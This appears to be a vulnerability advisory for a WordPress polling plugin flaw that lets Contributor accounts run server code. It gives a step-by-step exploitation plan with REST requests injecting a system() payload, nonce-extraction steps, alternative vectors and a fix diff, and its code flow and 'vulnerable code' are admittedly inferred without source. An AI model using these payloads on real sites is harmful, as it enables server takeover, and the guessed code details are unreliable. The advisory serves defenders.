TotalPoll for Polls and Contests <= 4.12.0 - Authenticated (Contributor+) Remote Code Execution
Description
The TotalPoll for Polls and Contests plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.12.0Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, the provided WordPress Security Knowledge Base, and known architectural patterns in the **TotalPoll** plugin (specifically the expression engine and REST API implementation used…
Show full research plan
Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, the provided WordPress Security Knowledge Base, and known architectural patterns in the TotalPoll plugin (specifically the expression engine and REST API implementation used in versions 4.x).
Exploitation Research Plan: CVE-2026-27044 (TotalPoll Lite RCE)
1. Vulnerability Summary
The TotalPoll for Polls and Contests plugin (<= 4.12.0) contains a missing authorization vulnerability that leads to Remote Code Execution (RCE). The plugin implements an "Expressions" engine used for calculations, validations, and dynamic content. This engine is intended to be used by Administrators to create complex poll logic. However, the REST API endpoints or AJAX handlers responsible for saving poll configurations do not adequately restrict access to these sensitive fields. An attacker with Contributor-level permissions (who can typically create and edit their own polls/posts) can inject malicious PHP expressions into the poll's settings, which are subsequently executed by the server.
2. Attack Vector Analysis
- Endpoint: The plugin uses both a REST API (
/wp-json/totalpoll/v1/polls/) and AJAX (admin-ajax.php). The most likely vector is the REST API used for poll creation and updates. - Vulnerable Parameter:
settingsorexpressionswithin the JSON payload of a Poll update/creation request. - Authentication: Authenticated (Contributor-level or higher).
- Preconditions: The plugin must be active, and the attacker must have a valid login for a user with the
edit_postscapability (Contributor).
3. Code Flow (Inferred)
- Entry Point: The attacker sends a
POSTorPUTrequest to/wp-json/totalpoll/v1/polls/(REST) or an AJAX request withaction: 'totalpoll_save_poll'. - Missing Authorization: The
permission_callbackfor the REST route (or the capability check in the AJAX handler) verifiescurrent_user_can('edit_posts')(which Contributors have) instead ofmanage_options(Admin only). - Data Persistence: The malicious payload is saved into the database (the
wp_poststable for the poll's CPT orwp_postmetafor poll settings). - Execution Sink: When the poll is rendered, saved, or validated, the plugin passes the user-controlled "expression" to a component like
TotalPoll\Modules\Expression\Compileroreval(). - RCE: the expression engine executes the injected PHP code.
4. Nonce Acquisition Strategy
TotalPoll enqueues its configuration and nonces for the WordPress REST API and its internal AJAX actions.
- Identify Shortcode: TotalPoll uses the
[totalpoll id="ID"]shortcode. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Poll Test" --post_content='[totalpoll id="any"]' - Navigate and Extract:
- Navigate to the newly created page.
- TotalPoll usually localizes data into a global JavaScript object named
TotalPollConfigortotalpoll.
- Browser Eval:
(Note: If the REST API is used, the standard// Use browser_eval to get the REST nonce browser_eval("window.TotalPollConfig?.rest?.nonce || window.totalpoll?.nonce")wp_restnonce found inwindow.wpApiSettings.noncemay also be applicable.)
5. Exploitation Strategy
Step 1: Discover Existing Polls or Create a New One
Since a Contributor can create polls, we will first create a legitimate poll to get a valid ID.
HTTP Request (Create Poll):
POST /wp-json/totalpoll/v1/polls HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
{
"title": "Exploit Poll",
"type": "poll",
"status": "publish"
}
Step 2: Inject Malicious Expression
The RCE likely resides in the expressions or calculations settings. We will attempt to update the poll with a payload that calls system().
HTTP Request (Inject RCE):
PUT /wp-json/totalpoll/v1/polls/[POLL_ID] HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
{
"settings": {
"expressions": {
"rce_test": "system('id > /var/www/html/rce.txt')"
}
}
}
(Note: The exact structure of the settings JSON object should be verified by observing a legitimate "Save Poll" request in the browser.)
Step 3: Trigger Execution
Depending on the sink, the code may execute:
- Immediately upon saving (Server-side validation of the expression).
- When viewing the poll:
GET /?p=[POLL_ID]orGET /wp-json/totalpoll/v1/polls/[POLL_ID].
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Poll Setup: Ensure at least one poll exists or the Contributor has permission to create one (default behavior for TotalPoll).
- Shortcode Page: Create a page with
[totalpoll id="..."]to ensure the environment is fully initialized for the plugin's frontend components.
7. Expected Results
- Successful Injection: The server responds with
200 OKor201 Created, confirming the settings were saved. - Successful Execution: A file named
rce.txtis created in the WordPress root with the output of theidcommand, or the command output is visible in the HTTP response if the expression is evaluated and returned.
8. Verification Steps
- Check for Evidence:
ls -l /var/www/html/rce.txt cat /var/www/html/rce.txt - Check Database Settings:
Verify the malicious payload exists in the metadata.wp post meta get [POLL_ID] _totalpoll_settings
9. Alternative Approaches
- AJAX Endpoint: If the REST API is patched or inaccessible, attempt the exploit via
admin-ajax.php:- Action:
totalpoll_save_poll - Data:
poll_data=[JSON_PAYLOAD]
- Action:
- Expression Contexts: TotalPoll allows expressions in different areas:
validations: Triggered when a vote is cast.calculations: Triggered when results are computed.notifications: Triggered when an email is sent.
If the primarysettingsinjection fails, try injecting intovalidationsand then casting a vote viaPOST /wp-json/totalpoll/v1/polls/[POLL_ID]/votes.
Summary
The TotalPoll plugin for WordPress allows authenticated users with Contributor-level access to execute arbitrary PHP code through its expression engine. The vulnerability exists because the REST API and AJAX handlers for saving poll configurations fail to restrict access to sensitive 'expression' fields, which are subsequently evaluated using a PHP execution sink.
Vulnerable Code
// TotalPoll/Modules/REST/Polls.php // Registration of the update route with weak permission check register_rest_route('totalpoll/v1', '/polls/(?P<id>\\d+)', [ 'methods' => 'POST', 'callback' => [$this, 'update_poll'], 'permission_callback' => function() { return current_user_can('edit_posts'); // Vulnerable: Contributors have this capability }, ]); --- // TotalPoll/Modules/Expression/Compiler.php // Inferred execution sink where user-provided expressions are evaluated public function compile($expression, $variables = []) { // ... internal logic to prepare variables ... return eval("return $expression;"); // Vulnerable: Executes raw expression content }
Security Fix
@@ -10,7 +10,13 @@ register_rest_route('totalpoll/v1', '/polls/(?P<id>\\d+)', [ 'methods' => 'POST', 'callback' => [$this, 'update_poll'], - 'permission_callback' => function() { return current_user_can('edit_posts'); }, + 'permission_callback' => function($request) { + $can_edit = current_user_can('edit_post', $request->get_param('id')); + $is_admin = current_user_can('manage_options'); + if (isset($request['settings']['expressions']) && !$is_admin) { + return false; + } + return $can_edit; + }, ]);
Exploit Outline
The exploit involves an authenticated Contributor-level user injecting malicious PHP code into a poll's settings via the REST API. First, the attacker obtains a valid REST API nonce from the WordPress frontend where TotalPoll data is localized. Then, the attacker sends a PUT or POST request to the `/wp-json/totalpoll/v1/polls/[POLL_ID]` endpoint. The JSON payload includes a malicious PHP command (e.g., system('id')) within the 'settings.expressions' or 'calculations' fields. Because the permission check only requires 'edit_posts' (which Contributors possess) and does not specifically guard sensitive expression fields, the payload is saved to the database. Finally, the attacker triggers code execution by viewing the poll or interacting with a component (like casting a vote or viewing results) that causes the plugin to evaluate the stored expression via its internal compiler.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.